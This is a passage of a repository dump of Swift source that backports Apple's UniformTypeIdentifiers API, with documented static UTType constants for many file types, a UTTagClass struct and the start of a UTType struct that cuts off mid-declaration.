\n     **conforms to:** public.url\n     */\n    static var fileURL: Self { .init(kUTTypeFileURL as String)! }\n    \n    /**\n     The base type for all text-encoded data, including text with markup\n     (HTML, RTF, etc.).\n     \n     **UTI:** public.text\n     \n     **conforms to:** public.data, public.content\n     */\n    static var text: Self { .init(kUTTypeText as String)! }\n    \n    /**\n     Text with no markup and an unspecified encoding.\n     \n     **UTI:** public.plain-text\n     \n     **conforms to:** public.text\n     */\n    static var plainText: Self { .init(kUTTypePlainText as String)! }\n    \n    /**\n     Plain text encoded as UTF-8.\n     \n     **UTI:** public.utf8-plain-text\n     \n     **conforms to:** public.plain-text\n     */\n    static var utf8PlainText: Self { .init(kUTTypeUTF8PlainText as String)! }\n    \n    /**\n     Plain text encoded as UTF-16 with a BOM, or if a BOM is not present,\n     using \"external representation\" byte order (big-endian).\n     \n     **UTI:** public.utf16-external-plain-text\n     \n     **conforms to:** public.plain-text\n     */\n    static var utf16ExternalPlainText: Self { .init(kUTTypeUTF16ExternalPlainText as String)! }\n    \n    /**\n     Plain text encoded as UTF-16, in native byte order, with an optional\n     BOM.\n     \n     **UTI:** public.utf16-plain-text\n     \n     **conforms to:** public.plain-text\n     */\n    static var utf16PlainText: Self { .init(kUTTypeUTF16PlainText as String)! }\n    \n    /**\n     Text containing delimited values.\n     \n     **UTI:** public.delimited-values-text\n     \n     **conforms to:** public.text\n     */\n    static var delimitedText: Self { .init(kUTTypeDelimitedText as String)! }\n    \n    /**\n     Text containing comma-separated values (.csv).\n     \n     **UTI:** public.comma-separated-values-text\n     \n     **conforms to:** public.delimited-values-text\n     */\n    static var commaSeparatedText: Self { .init(kUTTypeCommaSeparatedText as String)! }\n    \n    /**\n     Text containing tab-separated values.\n     \n     **UTI:** public.tab-separated-values-text\n     \n     **conforms to:** public.delimited-values-text\n     */\n    static var tabSeparatedText: Self { .init(kUTTypeTabSeparatedText as String)! }\n    \n    /**\n     UTF-8 encoded text containing tab-separated values.\n     \n     **UTI:** public.utf8-tab-separated-values-text\n     \n     **conforms to:** public.tab-separated-values-text, public.utf8-plain-text\n     */\n    static var utf8TabSeparatedText: Self { .init(kUTTypeUTF8TabSeparatedText as String)! }\n    \n    /**\n     Rich Text Format data.\n     \n     **UTI:** public.rtf\n     \n     **conforms to:** public.text\n     */\n    static var rtf: Self { .init(kUTTypeRTF as String)! }\n    \n    /**\n     Any version of HTML.\n     \n     **UTI:** public.html\n     \n     **conforms to:** public.text\n     */\n    static var html: Self { .init(kUTTypeHTML as String)! }\n    \n    /**\n     Generic XML.\n     \n     **UTI:** public.xml\n     \n     **conforms to:** public.text\n     */\n    static var xml: Self { .init(kUTTypeXML as String)! }\n    \n    /**\n     Yet Another Markup Language.\n     \n     **UTI:** public.yaml\n     \n     **conforms to:** public.text\n     */\n    static var yaml: Self { .init(tag: \"application/x-yaml\", tagClass: .mimeType, conformingTo: nil)! }\n    \n    /**\n     Abstract type for source code of any language.\n     \n     **UTI:** public.source-code\n     \n     **conforms to:** public.plain-text\n     */\n    static var sourceCode: Self { .init(kUTTypeSourceCode as String)! }\n    \n    /**\n     Assembly language source (.s)\n     \n     **UTI:** public.assembly-source\n     \n     **conforms to:** public.source-code\n     */\n    static var assemblyLanguageSource: Self { .init(kUTTypeAssemblyLanguageSource as String)! }\n    \n    /**\n     C source code (.c)\n     \n     **UTI:** public.c-source\n     \n     **conforms to:** public.source-code\n     */\n    static var cSource: Self { .init(kUTTypeCSource as String)! }\n    \n    /**\n     Objective-C source code (.m)\n     \n     **UTI:** public.objective-c-source\n     \n     **conforms to:** public.source-code\n     */\n    static var objectiveCSource: Self { .init(kUTTypeObjectiveCSource as String)! }\n    \n    /**\n     Swift source code (.swift)\n     \n     **UTI:** public.swift-source\n     \n     **conforms to:** public.source-code\n     */\n    static var swiftSource: Self { .init(kUTTypeSwiftSource as String)! }\n    \n    /**\n     C++ source code (.cp, etc.)\n     \n     **UTI:** public.c-plus-plus-source\n     \n     **conforms to:** public.source-code\n     */\n    static var cPlusPlusSource: Self { .init(kUTTypeCPlusPlusSource as String)! }\n    \n    /**\n     Objective-C++ source code.\n     \n     **UTI:** public.objective-c-plus-plus-source\n     \n     **conforms to:** public.source-code\n     */\n    static var objectiveCPlusPlusSource: Self { .init(kUTTypeObjectiveCPlusPlusSource as String)! }\n    \n    /**\n     A C header.\n     \n     **UTI:** public.c-header\n     \n     **conforms to:** public.source-code\n     */\n    static var cHeader: Self { .init(kUTTypeCHeader as String)! }\n    \n    /**\n     A C++ header.\n     \n     **UTI:** public.c-plus-plus-header\n     \n     **conforms to:** public.source-code\n     */\n    static var cPlusPlusHeader: Self { .init(kUTTypeCPlusPlusHeader as String)! }\n    \n    /**\n     A base type for any scripting language source.\n     \n     **UTI:** public.script\n     \n     **conforms to:** public.source-code\n     */\n    static var script: Self { .init(kUTTypeScript as String)! }\n    \n    /**\n     An AppleScript text-based script (.applescript).\n     \n     **UTI:** com.apple.applescript.text\n     \n     **conforms to:** public.script\n     */\n    static var appleScript: Self { .init(kUTTypeAppleScript as String)! }\n    \n    /**\n     An Open Scripting Architecture binary script (.scpt).\n     \n     **UTI:** com.apple.applescript.script\n     \n     **conforms to:** public.data, public.script\n     */\n    static var osaScript: Self { .init(kUTTypeOSAScript as String)! }\n    \n    /**\n     An Open Scripting Architecture script bundle (.scptd).\n     \n     **UTI:** com.apple.applescript.script-bundle\n     \n     **conforms to:** com.apple.bundle, com.apple.package, public.script\n     */\n    static var osaScriptBundle: Self { .init(kUTTypeOSAScriptBundle as String)! }\n    \n    /**\n     JavaScript source code\n     \n     **UTI:** com.netscape.javascript-source\n     \n     **conforms to:** public.source-code, public.executable\n     */\n    static var javaScript: Self { .init(kUTTypeJavaScript as String)! }\n    \n    /**\n     The base type for shell scripts.\n     \n     **UTI:** public.shell-script\n     \n     **conforms to:** public.script\n     */\n    static var shellScript: Self { .init(kUTTypeShellScript as String)! }\n    \n    /**\n     A Perl script.\n     \n     **UTI:** public.perl-script\n     \n     **conforms to:** public.shell-script\n     */\n    static var perlScript: Self { .init(kUTTypePerlScript as String)! }\n    \n    /**\n     A Python script.\n     \n     **UTI:** public.python-script\n     \n     **conforms to:** public.shell-script\n     */\n    static var pythonScript: Self { .init(kUTTypePythonScript as String)! }\n    \n    /**\n     A Ruby script.\n     \n     **UTI:** public.ruby-script\n     \n     **conforms to:** public.shell-script\n     */\n    static var rubyScript: Self { .init(kUTTypeRubyScript as String)! }\n    \n    /**\n     A PHP script.\n     \n     **UTI:** public.php-script\n     \n     **conforms to:** public.shell-script\n     */\n    static var phpScript: Self { .init(kUTTypePHPScript as String)! }\n    \n    /**\n     A makefile.\n     \n     **UTI:** public.make-source\n     \n     **conforms to:** public.script\n     */\n    @available(macOS 12.0, iOS 15.0, watchOS 8.0, tvOS 15.0, *)\n    static var makefile: Self { .init(tag: \"make\", tagClass: .filenameExtension, conformingTo: nil)! }\n    \n    /**\n     JavaScript object notation (JSON) data\n     \n     **UTI:** public.json\n     \n     **conforms to:** public.text\n     \n     - Note: JSON almost (but doesn't quite) conforms to\n     com.netscape.javascript-source.\n     */\n    static var json: Self { .init(kUTTypeJSON as String)! }\n    \n    /**\n     A base type for property lists.\n     \n     **UTI:** com.apple.property-list\n     \n     **conforms to:** public.data\n     */\n    static var propertyList: Self { .init(kUTTypePropertyList as String)! }\n    \n    /**\n     An XML property list.\n     \n     **UTI:** com.apple.xml-property-list\n     \n     **conforms to:** public.xml, com.apple.property-list\n     */\n    static var xmlPropertyList: Self { .init(kUTTypeXMLPropertyList as String)! }\n    \n    /**\n     A binary property list.\n     \n     **UTI:** com.apple.binary-property-list\n     \n     **conforms to:** com.apple.property-list\n     */\n    static var binaryPropertyList: Self { .init(kUTTypeBinaryPropertyList as String)! }\n    \n    /**\n     An Adobe PDF document.\n     \n     **UTI:** com.adobe.pdf\n     \n     **conforms to:** public.data, public.composite-content\n     */\n    static var pdf: Self { .init(kUTTypePDF as String)! }\n    \n    /**\n     A Rich Text Format Directory document (RTF with content embedding\n     in its on-disk format.)\n     \n     **UTI:** com.apple.rtfd\n     \n     **conforms to:** com.apple.package, public.composite-content\n     */\n    static var rtfd: Self { .init(kUTTypeRTFD as String)! }\n    \n    /**\n     A flattened RTFD document (formatted for the pasteboard.)\n     \n     **UTI:** com.apple.flat-rtfd\n     \n     **conforms to:** public.data, public.composite-content\n     */\n    static var flatRTFD: Self { .init(kUTTypeFlatRTFD as String)! }\n    \n    /**\n     The WebKit webarchive format.\n     \n     **UTI:** com.apple.webarchive\n     \n     **conforms to:** public.data, public.composite-content\n     */\n    static var webArchive: Self { .init(kUTTypeWebArchive as String)! }\n    \n    /**\n     A base type for abstract image data.\n     \n     **UTI:** public.image\n     \n     **conforms to:** public.data, public.content\n     */\n    static var image: Self { .init(kUTTypeImage as String)! }\n    \n    /**\n     A JPEG image.\n     \n     **UTI:** public.jpeg\n     \n     **conforms to:** public.image\n     */\n    static var jpeg: Self { .init(kUTTypeJPEG as String)! }\n    \n    /**\n     A TIFF image.\n     \n     **UTI:** public.tiff\n     \n     **conforms to:** public.image\n     */\n    static var tiff: Self { .init(kUTTypeTIFF as String)! }\n    \n    /**\n     A GIF image.\n     \n     **UTI:** com.compuserve.gif\n     \n     **conforms to:** public.image\n     */\n    static var gif: Self { .init(kUTTypeGIF as String)! }\n    \n    /**\n     A PNG image.\n     \n     **UTI:** public.png\n     \n     **conforms to:** public.image\n     */\n    static var png: Self { .init(kUTTypePNG as String)! }\n    \n    /**\n     Apple icon data\n     \n     **UTI:** com.apple.icns\n     \n     **conforms to:** public.image\n     */\n    static var icns: Self { .init(kUTTypeAppleICNS as String)! }\n    \n    /**\n     A Windows bitmap.\n     \n     **UTI:** com.microsoft.bmp\n     \n     **conforms to:** public.image\n     */\n    static var bmp: Self { .init(kUTTypeBMP as String)! }\n    \n    /**\n     Windows icon data\n     \n     **UTI:** com.microsoft.ico\n     \n     **conforms to:** public.image\n     */\n    static var ico: Self { .init(kUTTypeICO as String)! }\n    \n    /**\n     A base type for raw image data (.raw).\n     \n     **UTI:** public.camera-raw-image\n     \n     **conforms to:** public.image\n     */\n    static var rawImage: Self { .init(kUTTypeRawImage as String)! }\n    \n    /**\n     A Scalable Vector Graphics image.\n     \n     **UTI:** public.svg-image\n     \n     **conforms to:** public.image\n     */\n    static var svg: Self { .init(kUTTypeScalableVectorGraphics as String)! }\n    \n    /**\n     A Live Photo.\n     \n     **UTI:** com.apple.live-photo\n     */\n    static var livePhoto: Self { .init(kUTTypeLivePhoto as String)! }\n    \n    /**\n     A High Efficiency Image File Format image.\n     \n     **UTI:** public.heif\n     \n     **conforms to:** public.heif-standard\n     */\n    static var heif: Self { .init(tag: \"image/heif\", tagClass: .mimeType, conformingTo: nil)! }\n    \n    /**\n     A High Efficiency Image Coding image.\n     \n     **UTI:** public.heic\n     \n     **conforms to:** public.heif-standard\n     */\n    static var heic: Self { .init(tag: \"image/heic\", tagClass: .mimeType, conformingTo: nil)! }\n    \n    /**\n     The WebP image format.\n     \n     **UTI:** org.webmproject.webp\n     \n     **conforms to:** public.image\n     */\n    static var webP: Self { .init(tag: \"image/webp\", tagClass: .mimeType, conformingTo: nil)! }\n    \n    /**\n     A base type for 3D content.\n     \n     **UTI:** public.3d-content\n     \n     **conforms to:** public.content\n     */\n    static var threeDContent: Self { .init(kUTType3DContent as String)! }\n    \n    /**\n     Universal Scene Description content.\n     \n     **UTI:** com.pixar.universal-scene-description\n     \n     **conforms to:** public.3d-content, public.data\n     */\n    static var usd: Self { .init(tag: \"usd\", tagClass: .filenameExtension, conformingTo: nil)! }\n    \n    /**\n     Universal Scene Description Package content.\n     \n     **UTI:** com.pixar.universal-scene-description-mobile\n     \n     **conforms to:** public.3d-content, public.data\n     */\n    static var usdz: Self { .init(tag: \"usdz\", tagClass: .filenameExtension, conformingTo: nil)! }\n    \n    /**\n     A Reality File.\n     \n     **UTI:** com.apple.reality\n     \n     **conforms to:** public.data\n     */\n    static var realityFile: Self { .init(tag: \"model/vnd.reality\", tagClass: .mimeType, conformingTo: nil)! }\n    \n    /**\n     A SceneKit serialized scene.\n     \n     **UTI:** com.apple.scenekit.scene\n     \n     **conforms to:** public.3d-content, public.data\n     */\n    static var sceneKitScene: Self { .init(tag: \"scn\", tagClass: .filenameExtension, conformingTo: nil)! }\n    \n    /**\n     An AR reference object.\n     \n     **UTI:** com.apple.arobject\n     \n     **conforms to:** public.data\n     */\n    static var arReferenceObject: Self { .init(tag: \"arobject\", tagClass: .filenameExtension, conformingTo: nil)! }\n    \n    /**\n     A media format which may contain both video and audio.\n     \n     This type corresponds to what users would label a \"movie\".\n     \n     **UTI:** public.movie\n     \n     **conforms to:** public.audiovisual-content\n     */\n    static var movie: Self { .init(kUTTypeMovie as String)! }\n    \n    /**\n     Pure video data with no audio data.\n     \n     **UTI:** public.video\n     \n     **conforms to:** public.movie\n     */\n    static var video: Self { .init(kUTTypeVideo as String)! }\n    \n    /**\n     Pure audio data with no video data.\n     \n     **UTI:** public.audio\n     \n     **conforms to:** public.audiovisual-content\n     */\n    static var audio: Self { .init(kUTTypeAudio as String)! }\n    \n    /**\n     A QuickTime movie.\n     \n     **UTI:** com.apple.quicktime-movie\n     \n     **conforms to:** public.movie\n     */\n    static var quickTimeMovie: Self { .init(kUTTypeQuickTimeMovie as String)! }\n    \n    /**\n     An MPEG-1 or MPEG-2 movie.\n     \n     **UTI:** public.mpeg\n     \n     **conforms to:** public.movie\n     */\n    static var mpeg: Self { .init(kUTTypeMPEG as String)! }\n    \n    /**\n     An MPEG-2 video.\n     \n     **UTI:** public.mpeg-2-video\n     \n     **conforms to:** public.video\n     */\n    static var mpeg2Video: Self { .init(kUTTypeMPEG2Video as String)! }\n    \n    /**\n     The MPEG-2 Transport Stream movie format.\n     \n     **UTI:** public.mpeg-2-transport-stream\n     \n     **conforms to:** public.movie\n     */\n    static var mpeg2TransportStream: Self { .init(kUTTypeMPEG2TransportStream as String)! }\n    \n    /**\n     MP3 audio.\n     \n     **UTI:** public.mp3\n     \n     **conforms to:** public.audio\n     */\n    static var mp3: Self { .init(kUTTypeMP3 as String)! }\n    \n    /**\n     MPEG-4 movie\n     \n     **UTI:** public.mpeg-4\n     \n     **conforms to:** public.movie\n     */\n    static var mpeg4Movie: Self { .init(kUTTypeMPEG4 as String)! }\n    \n    /**\n     An MPEG-4 audio layer file.\n     \n     **UTI:** public.mpeg-4-audio\n     \n     **conforms to:** public.mpeg-4, public.audio\n     */\n    static var mpeg4Audio: Self { .init(kUTTypeMPEG4Audio as String)! }\n    \n    /**\n     The Apple protected MPEG4 format (.m4p, iTunes music store format.)\n     \n     **UTI:** com.apple.protected-mpeg-4-audio\n     \n     **conforms to:** public.audio\n     */\n    static var appleProtectedMPEG4Audio: Self { .init(kUTTypeAppleProtectedMPEG4Audio as String)! }\n    \n    /**\n     An Apple protected MPEG-4 movie.\n     \n     **UTI:** com.apple.protected-mpeg-4-video\n     \n     **conforms to:** com.apple.m4v-video\n     */\n    static var appleProtectedMPEG4Video: Self { .init(kUTTypeAppleProtectedMPEG4Video as String)! }\n    \n    /**\n     The AVI movie format.\n     \n     **UTI:** public.avi\n     \n     **conforms to:** public.movie\n     */\n    static var avi: Self { .init(kUTTypeAVIMovie as String)! }\n    \n    /**\n     The AIFF audio format\n     \n     **UTI:** public.aiff-audio\n     \n     **conforms to:** public.aifc-audio\n     */\n    static var aiff: Self { .init(kUTTypeAudioInterchangeFileFormat as String)! }\n    \n    /**\n     The Microsoft waveform audio format (.wav).\n     \n     **UTI:** com.microsoft.waveform-audio\n     \n     **conforms to:** public.audio\n     */\n    static var wav: Self { .init(kUTTypeWaveformAudio as String)! }\n    \n    /**\n     The MIDI audio format.\n     \n     **UTI:** public.midi-audio\n     \n     **conforms to:** public.audio\n     */\n    static var midi: Self { .init(kUTTypeMIDIAudio as String)! }\n    \n    /**\n     The base type for playlists.\n     \n     **UTI:** public.playlist\n     */\n    static var playlist: Self { .init(kUTTypePlaylist as String)! }\n    \n    /**\n     An M3U or M3U8 playlist\n     \n     **UTI:** public.m3u-playlist\n     \n     **conforms to:** public.text, public.playlist\n     */\n    static var m3uPlaylist: Self { .init(kUTTypeM3UPlaylist as String)! }\n    \n    /**\n     A user-browsable directory (i.e. not a package.)\n     \n     **UTI:** public.folder\n     \n     **conforms to:** public.directory\n     */\n    static var folder: Self { .init(kUTTypeFolder as String)! }\n    \n    /**\n     The root folder of a volume or mount point.\n     \n     **UTI:** public.volume\n     \n     **conforms to:** public.folder\n     */\n    static var volume: Self { .init(kUTTypeVolume as String)! }\n    \n    /**\n     A packaged directory.\n     \n     Bundles differ from packages in that a bundle has an internal file hierarchy\n     that `CFBundle` can read, while packages are displayed to the user as if\n     they were regular files. A single file system object can be both a package\n     and a bundle.\n     \n     **UTI:** com.apple.package\n     \n     **conforms to:** public.directory\n     */\n    static var package: Self { .init(kUTTypePackage as String)! }\n    \n    /**\n     A directory conforming to one of the `CFBundle` layouts.\n     \n     Bundles differ from packages in that a bundle has an internal file hierarchy\n     that `CFBundle` can read, while packages are displayed to the user as if\n     they were regular files. A single file system object can be both a package\n     and a bundle.\n     \n     **UTI:** com.apple.bundle\n     \n     **conforms to:** public.directory\n     */\n    static var bundle: Self { .init(kUTTypeBundle as String)! }\n    \n    /**\n     The base type for bundle-based plugins.\n     \n     **UTI:** com.apple.plugin\n     \n     **conforms to:** com.apple.bundle, com.apple.package\n     */\n    static var pluginBundle: Self { .init(kUTTypePluginBundle as String)! }\n    \n    /**\n     A Spotlight metadata importer bundle.\n     \n     **UTI:** com.apple.metadata-importer\n     \n     **conforms to:** com.apple.plugin\n     */\n    static var spotlightImporter: Self { .init(kUTTypeSpotlightImporter as String)! }\n    \n    /**\n     A QuickLook preview generator bundle.\n     \n     **UTI:** com.apple.quicklook-generator\n     \n     **conforms to:** com.apple.plugin\n     */\n    static var quickLookGenerator: Self { .init(kUTTypeQuickLookGenerator as String)! }\n    \n    /**\n     An XPC service bundle.\n     \n     **UTI:** com.apple.xpc-service\n     \n     **conforms to:** com.apple.bundle, com.apple.package\n     */\n    static var xpcService: Self { .init(kUTTypeXPCService as String)! }\n    \n    /**\n     A macOS or iOS framework bundle.\n     \n     **UTI:** com.apple.framework\n     \n     **conforms to:** com.apple.bundle\n     */\n    static var framework: Self { .init(kUTTypeFramework as String)! }\n    \n    /**\n     The base type for macOS and iOS applications.\n     \n     **UTI:** com.apple.application\n     \n     **conforms to:** public.executable\n     */\n    static var application: Self { .init(kUTTypeApplication as String)! }\n    \n    /**\n     A bundled application.\n     \n     **UTI:** com.apple.application-bundle\n     \n     **conforms to:** com.apple.application, com.apple.bundle, com.apple.package\n     */\n    static var applicationBundle: Self { .init(kUTTypeApplicationBundle as String)! }\n    \n    /**\n     An application extension (.appex).\n     \n     **UTI:** com.apple.application-and-system-extension\n     \n     **conforms to:** com.apple.xpc-service\n     */\n    static var applicationExtension: Self { .init(tag: \"appex\", tagClass: .filenameExtension, conformingTo: nil)! }\n    \n    /**\n     A UNIX executable (flat file.)\n     \n     **UTI:** public.unix-executable\n     \n     **conforms to:** public.data, public.executable\n     */\n    static var unixExecutable: Self { .init(kUTTypeUnixExecutable as String)! }\n    \n    /**\n     A Windows executable (.exe).\n     \n     **UTI:** com.microsoft.windows-executable\n     \n     **conforms to:** public.data, public.executable\n     */\n    static var exe: Self { .init(kUTTypeExecutable as String)! }\n    \n    /**\n     A System Preferences pane.\n     \n     **UTI:** com.apple.systempreference.prefpane\n     \n     **conforms to:** com.apple.package, com.apple.bundle\n     */\n    static var systemPreferencesPane: Self { .init(kUTTypeSystemPreferencesPane as String)! }\n    \n    /**\n     an archive of files and directories\n     \n     **UTI:** public.archive\n     */\n    static var archive: Self { .init(kUTTypeArchive as String)! }\n    \n    /**\n     A GNU zip archive.\n     \n     **UTI:** org.gnu.gnu-zip-archive\n     \n     **conforms to:** public.data, public.archive\n     */\n    static var gzip: Self { .init(kUTTypeGNUZipArchive as String)! }\n    \n    /**\n     A bzip2 archive.\n     \n     **UTI:** public.bzip2-archive\n     \n     **conforms to:** public.data, public.archive\n     */\n    static var bz2: Self { .init(kUTTypeBzip2Archive as String)! }\n    \n    /**\n     A zip archive.\n     \n     **UTI:** public.zip-archive\n     \n     **conforms to:** com.pkware.zip-archive\n     */\n    static var zip: Self { .init(kUTTypeZipArchive as String)! }\n    \n    /**\n     An Apple Archive.\n     \n     **UTI:** com.apple.archive\n     \n     **conforms to:** public.data, public.archive\n     */\n    static var appleArchive: Self { .init(tag: \"aar\", tagClass: .filenameExtension, conformingTo: nil)! }\n    \n    /**\n     A base type for spreadsheet documents.\n     \n     **UTI:** public.spreadsheet\n     \n     **conforms to:** public.content\n     */\n    static var spreadsheet: Self { .init(kUTTypeSpreadsheet as String)! }\n    \n    /**\n     A base type for presentation documents.\n     \n     **UTI:** public.presentation\n     \n     **conforms to:** public.composite-content\n     */\n    static var presentation: Self { .init(kUTTypePresentation as String)! }\n    \n    /**\n     A database store.\n     \n     **UTI:** public.database\n     */\n    static var database: Self { .init(kUTTypeData as String)! }\n    \n    /**\n     A base type for messages (email, IM, etc.)\n     \n     **UTI:** public.message\n     */\n    static var message: Self { .init(kUTTypeMessage as String)! }\n    \n    /**\n     contact information, e.g. for a person, group, organization\n     \n     **UTI:** public.contact\n     */\n    static var contact: Self { .init(kUTTypeContact as String)! }\n    \n    /**\n     A vCard file.\n     \n     **UTI:** public.vcard\n     \n     **conforms to:** public.text, public.contact\n     */\n    static var vCard: Self { .init(kUTTypeVCard as String)! }\n    \n    /**\n     A to-do item.\n     \n     **UTI:** public.to-do-item\n     */\n    static var toDoItem: Self { .init(kUTTypeToDoItem as String)! }\n    \n    /**\n     A calendar event.\n     \n     **UTI:** public.calendar-event\n     */\n    static var calendarEvent: Self { .init(kUTTypeCalendarEvent as String)! }\n    \n    /**\n     An e-mail message.\n     \n     **UTI:** public.email-message\n     \n     **conforms to:** public.message\n     */\n    static var emailMessage: Self { .init(kUTTypeEmailMessage as String)! }\n    \n    /**\n     A base type for Apple Internet location files.\n     \n     **UTI:** com.apple.internet-location\n     \n     **conforms to:** public.data\n     */\n    static var internetLocation: Self { .init(kUTTypeInternetLocation as String)! }\n    \n    /**\n     Microsoft Internet shortcut files (.url).\n     \n     **UTI:** com.apple.internet-location\n     \n     **conforms to:** public.data\n     */\n    static var internetShortcut: Self { .init(tag: \"url\", tagClass: .filenameExtension, conformingTo: nil)! }\n    \n    /**\n     A base type for fonts.\n     \n     **UTI:** public.font\n     */\n    static var font: Self { .init(kUTTypeFont as String)! }\n    \n    /**\n     A bookmark.\n     \n     **UTI:** public.bookmark\n     \n     - SeeAlso: Self.urlBookmarkData\n     */\n    static var bookmark: Self { .init(kUTTypeBookmark as String)! }\n    \n    /**\n     PKCS#12 data.\n     \n     **UTI:** com.rsa.pkcs-12\n     \n     **conforms to:** public.data\n     */\n    static var pkcs12: Self { .init(kUTTypePKCS12 as String)! }\n    \n    /**\n     An X.509 certificate.\n     \n     **UTI:** public.x509-certificate\n     \n     **conforms to:** public.data\n     */\n    static var x509Certificate: Self { .init(kUTTypeX509Certificate as String)! }\n    \n    /**\n     The EPUB format.\n     \n     **UTI:** org.idpf.epub-container\n     \n     **conforms to:** public.data, public.composite-content\n     */\n    static var epub: Self { .init(tag: \"application/epub+zip\", tagClass: .mimeType, conformingTo: nil)! }\n    \n    /**\n     A base type for console logs.\n     \n     **UTI:** public.log\n     */\n    static var log: Self { .init(kUTTypeLog as String)! }\n}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/UniformTypeIdentifiers/UTTagClass.swift",
    "content": "import Foundation\nimport CoreServices\n\nextension Backport<Any> {\n    /**\n     A type representing tag classes.\n\n     A tag class is a \"kind\" of label that describes a type in another type\n     system, such as a filename extension or MIME type. A tag is a specific\n     instance of a tag class: for example, `\"txt\"` is a tag, and that tag is an\n     instance of the tag class `.filenameExtension` that represents the\n     same type as `UTType.plainText`.\n\n     Older API that does not use `UTTagClass` typically uses an untyped `String`\n     or `CFString` to refer to a tag class as a string. To get the string\n     representation of a tag class, use its `rawValue` property.\n     */\n    @available(iOS, introduced: 11, deprecated: 14, message: \"Use UniformTypeIdentifiers.UTTagClass instead\")\n    @available(macOS, introduced: 10.5, deprecated: 11, message: \"Use UniformTypeIdentifiers.UTTagClass instead\")\n    @available(watchOS, introduced: 4, deprecated: 7, message: \"Use UniformTypeIdentifiers.UTTagClass instead\")\n    @available(tvOS, introduced: 11, deprecated: 14, message: \"Use UniformTypeIdentifiers.UTTagClass instead\")\n    public struct UTTagClass: RawRepresentable, Codable, Hashable, CustomStringConvertible, CustomDebugStringConvertible, Sendable {\n        public var rawValue: String\n        public var description: String { rawValue }\n        public var debugDescription: String {\n            String(describing: self)\n        }\n        public init(rawValue: String) {\n            self.rawValue = rawValue\n        }\n\n        /**\n         The tag class for filename extensions such as `\"txt\"`.\n\n         The leading period character is not part of the filename extension and\n         should not be included in the tag.\n\n         The raw value of this tag class is `\"public.filename-extension\"`.\n         */\n        public static var filenameExtension: Self {\n            .init(rawValue: String(kUTTagClassFilenameExtension))\n        }\n\n        /**\n         The tag class for MIME types such as `\"text/plain\"`.\n\n         The raw value of this tag class is `\"public.mime-type\"`.\n         */\n        public static var mimeType: Self {\n            .init(rawValue: String(kUTTagClassMIMEType))\n        }\n    }\n\n}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/UniformTypeIdentifiers/UTType.swift",
    "content": "import Foundation\nimport CoreServices\n\nextension Backport<Any> {\n    /**\n     A structure representing a type in a type hierarchy.\n\n     Types may represent files on disk, abstract data types with no on-disk\n     representation, or even entirely unrelated hierarchical classification\n     systems such as hardware.\n\n     Older API that does not use `UTType` typically uses an untyped `String`\n     or `CFString` to refer to a type by its identifier. To get the identifier of\n     a type for use with these APIs, use the `identifier` property of this type.\n     */\n    @available(iOS, introduced: 11, deprecated: 14, message: \"Use UniformTypeIdentifiers.UTType instead\")\n    @available(macOS, introduced: 10.5, deprecated: 11, message: \"Use UniformTypeIdentifiers.UTType instead\")\n    @available(watchOS, introduced: 4, deprecated: 7, message: \"Use UniformTypeIdentifiers.UTType instead\")\n    @available(tvOS, introduced: 11, deprecated: 14, message: \"Use UniformTypeIdentifiers.UTType instead\")\n    public struct UTType: Codable, Hashable, CustomStringConvertible, CustomDebugStringConvertible, Sendable {\n        /**\n         The receiver's identifier.\n\n         A type is _identified by_ its Uniform Type Identifier (UTI), a\n         reverse-DNS string such as `\"public.jpeg\"` or `\"com.adobe.pdf\"`. The\n         type itself _has_ a UTI, but is not itself the UTI. This terminology is\n         not consistently used across Apple's documentation.\n\n         Older API that does not use `UTType` typically uses an untyped `String`\n         or `CFString` to refer to a type by its identifier.\n         */\n        public let identifier: String\n\n        /**\n         If available, the preferred (first available) tag of class\n         `.filenameExtension`.\n\n         Many uses of types require the generation of a filename (e.g. when\n         saving a file to disk.) If not `nil`, the value of this property is the\n         best available filename extension for the given type, according to its\n         declaration. The value of this property is equivalent to, but more\n         efficient than:\n\n         ```\n         type.tags[.filenameExtension]?.first\n         ```\n         */\n        public var preferredFilenameExtension: String? {\n            UTTypeCopyPreferredTagWithClass(\n                identifier as CFString,\n                Backport.UTTagClass.filenameExtension.rawValue as CFString\n            )?.takeRetainedValue() as? String\n        }\n\n        /**\n         If available, the preferred (first available) tag of class\n         `.mimeType`.\n\n         If not `nil`, the value of this property is the best available MIME\n         type for the given type, according to its declaration. The value of this\n         property is equivalent to, but more efficient than:\n\n         ```\n         type.tags[.mimeType]?.first\n         ```\n         */\n        public var preferredMIMEType: String? {\n            UTTypeCopyPreferredTagWithClass(\n                identifier as CFString,\n                Backport.UTTagClass.mimeType.rawValue as CFString\n            )?.takeRetainedValue() as? String\n        }\n\n        /**\n         Whether or not the receiver is a type known to the system.\n\n         A type cannot be both declared _and_ dynamic. You cannot construct an\n         instance of `UTType` that is neither declared nor dynamic.\n         */\n        public var isDeclared: Bool {\n            UTTypeIsDeclared(identifier as CFString)\n        }\n\n        /**\n         Whether or not the receiver is a dynamically generated type.\n\n         Dynamic types are recognized by the system, but may not be directly\n         declared or claimed by an application. They are used when a file is\n         encountered whose metadata has no corresponding type known to the\n         system.\n\n         A type cannot be both declared _and_ dynamic. You cannot construct an\n         instance of `UTType` that is neither declared nor dynamic.\n         */\n        public var isDynamic: Bool {\n            UTTypeIsDynamic(identifier as CFString)\n        }\n\n        /**\n         The reference URL of the type.\n\n         A reference URL is a human-readable document describing a type. Most\n         types do not specify reference URLs.\n\n         - Warning: This URL is not validated in any way by the system, nor is\n         its scheme or structure guaranteed in any way.\n         */\n        public var referenceURL: URL? {\n            UTTypeCopyDeclaringBundleURL(identifier as CFString)?.takeRetainedValue() as? URL\n        }\n\n        public var description: String { identifier }\n        public var debugDescription: String {\n            [\n                \"\\(identifier) (\\(isDynamic ? \"dynamic\" : \"not dynamic\")\",\n                \"\\(isDeclared ? \"declared\" : \"not declared\"))\"\n            ].joined(separator: \",\")\n        }\n\n        public var localizedDescription: String? {\n            UTTypeCopyDescription(identifier as CFString)?.takeRetainedValue() as? String\n        }\n\n        /**\n         The tag specification dictionary of the type.\n\n         The system does not store tag information for non-standard tag classes.\n         It normalizes string values into arrays containing those strings. For\n         instance, a value of:\n\n         ```\n         {\n         \"public.mime-type\": \"x/y\",\n         \"nonstandard-tag-class\": \"abc\",\n         }\n         ```\n\n         Is normalized to:\n\n         ```\n         {\n         \"public.mime-type\": [ \"x/y\" ]\n         }\n         ```\n\n         If you are simply looking for the preferred filename extension or MIME\n         type of a type, it is more efficient for you to use the\n         `preferredFilenameExtension` and `preferredMIMEType` properties\n         respectively.\n         */\n        public var tags: [Backport.UTTagClass: 